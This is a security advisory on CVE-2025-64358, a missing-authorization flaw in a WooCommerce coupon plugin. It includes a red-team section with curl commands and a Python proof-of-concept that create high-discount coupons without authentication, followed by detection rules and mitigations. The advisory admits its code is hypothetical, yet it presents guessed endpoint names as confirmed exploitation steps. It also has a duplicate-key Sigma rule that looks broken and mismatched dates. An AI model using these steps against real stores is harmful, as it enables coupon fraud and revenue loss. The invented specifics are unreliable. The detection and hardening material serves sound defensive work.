CVE-2025-64358

Executive Summary

CVE-2025-64358 is a Missing Authorization vulnerability in the WebToffee Smart Coupons for WooCommerce WordPress plugin (versions <= 2.2.3). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially enabling unauthorized actions within the WooCommerce coupon system. The vulnerability is classified as Medium Severity (CVSS 4.3) and currently has no known patch or public exploit code. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server-level issues.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a supply chain risk, as the patch status is unknown and no official update has been released. Dependency scanning tools (e.g., WPScan, Snyk) should be configured to flag wt-smart-coupons-for-woocommerce versions <= 2.2.3.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Limited modification of coupon data or settings.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for chaining with other vulnerabilities (e.g., privilege escalation) elevates the risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability resides in the Smart Coupons for WooCommerce plugin’s authorization checks. The plugin fails to properly validate user permissions when processing certain AJAX actions or REST API endpoints related to coupon management. Specifically, the wt-smart-coupons-for-woocommerce plugin does not enforce current_user_can() checks for capabilities like manage_woocommerce or edit_shop_coupons before executing sensitive operations.

Attack Vector:

1. An unauthenticated attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wt_smart_coupon_action).
2. The plugin processes the request without verifying the user’s role or capabilities.
3. The attacker can then create, modify, or delete coupon codes, apply discounts, or manipulate coupon settings.

Impact:

• Unauthorized creation of discount coupons leading to revenue loss.
• Modification of existing coupons to grant excessive discounts.
• Potential for further exploitation if coupon data is used in other vulnerable functions (e.g., SQL injection via coupon meta).

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred from the CWE-862 (Missing Authorization) description.

Vulnerable Code (hypothetical example from class-wt-smart-coupon-ajax.php):

add_action('wp_ajax_nopriv_wt_smart_coupon_create', 'wt_smart_coupon_create_callback');
function wt_smart_coupon_create_callback() {
    // Missing capability check
    $coupon_code = sanitize_text_field($_POST['coupon_code']);
    $discount = floatval($_POST['discount']);
    // Create coupon without authorization
    $coupon = new WC_Coupon();
    $coupon->set_code($coupon_code);
    $coupon->set_discount_type('percent');
    $coupon->set_amount($discount);
    $coupon->save();
    wp_send_json_success(array('message' => 'Coupon created'));
}

Patched Code (expected fix):

add_action('wp_ajax_wt_smart_coupon_create', 'wt_smart_coupon_create_callback');
// Remove nopriv action to require authentication
function wt_smart_coupon_create_callback() {
    // Add capability check
    if (!current_user_can('manage_woocommerce')) {
        wp_send_json_error(array('message' => 'Unauthorized'), 403);
        return;
    }
    // ... rest of the function
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Smart Coupons for WooCommerce <= 2.2.3 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint by scanning for AJAX actions:

   curl -s "http://target.com/wp-admin/admin-ajax.php?action=wt_smart_coupon_create" -d "coupon_code=HACKED&discount=100"
   

2. If the endpoint returns a success response without authentication, the vulnerability is confirmed.
3. Create a malicious coupon:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
   -d "action=wt_smart_coupon_create&coupon_code=FREEMONEY&discount=100&discount_type=percent"
   

4. Verify the coupon exists:

   curl "http://target.com/wp-json/wc/v3/coupons?search=FREEMONEY" -u consumer_key:consumer_secret
   

Proof-of-Concept Script (Python):

import requests

target = "http://target.com"
endpoint = f"{target}/wp-admin/admin-ajax.php"

payload = {
    "action": "wt_smart_coupon_create",
    "coupon_code": "PWNED",
    "discount": "50",
    "discount_type": "percent"
}

response = requests.post(endpoint, data=payload)
if response.status_code == 200 and "success" in response.text:
    print("[+] Coupon created successfully!")
else:
    print("[-] Exploitation failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters containing wt_smart_coupon.
• Alert on creation of coupons with high discount values (>50%) by non-admin users.
• Review WooCommerce coupon logs for unexpected entries.

Hardening:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to wt_smart_coupon_* actions.
• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=wt_smart_coupon_create or similar.
• Unusual coupon codes in HTTP responses (e.g., HACKED, PWNED, FREEMONEY).

File IOCs:

• Modified or newly created coupon entries in the wp_posts table with post_type = 'shop_coupon'.
• Log entries in WooCommerce logs showing coupon creation by unknown users.

Behavioral IOCs:

• Sudden increase in discount usage without corresponding marketing campaigns.
• Coupons with 100% discount or unlimited usage limits.

Detection Engineering

YARA Rule

rule detect_smart_coupon_exploit {
    meta:
        description = "Detects exploitation attempts of CVE-2025-64358 in Smart Coupons for WooCommerce"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64358"
    strings:
        $ajax_action = "wt_smart_coupon_create" nocase
        $coupon_code = "coupon_code" nocase
        $discount = "discount" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-64358 Smart Coupons for WooCommerce Missing Authorization
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthenticated AJAX requests to create coupons via Smart Coupons for WooCommerce
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'wt_smart_coupon_create'
    condition: selection
falsepositives:
    - Legitimate admin actions (requires authentication)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64358 Smart Coupons for WooCommerce Missing Authorization Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"wt_smart_coupon_create"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to business operations.
2. Apply virtual patching via WAF rules to block unauthenticated requests to wt_smart_coupon_* actions.
3. Monitor WooCommerce logs for unauthorized coupon creation.

Long-Term Fix:

• Await an official patch from WebToffee. Contact the vendor for an ETA.
• If the plugin is abandoned, consider migrating to an alternative coupon plugin (e.g., WooCommerce built-in coupons or Advanced Coupons).

Compensating Controls:

• Restrict access to wp-admin/admin-ajax.php via .htaccess:

  <Files "admin-ajax.php">
      Require all denied
      Require ip 192.168.1.0/24
  </Files>
  

• Implement a custom WordPress plugin to add capability checks:

  add_action('init', function() {
      if (isset($_POST['action']) && strpos($_POST['action'], 'wt_smart_coupon') !== false) {
          if (!current_user_can('manage_woocommerce')) {
              wp_die('Unauthorized', 403);
          }
      }
  });
  

Valters IT
Securing Digital Frontiers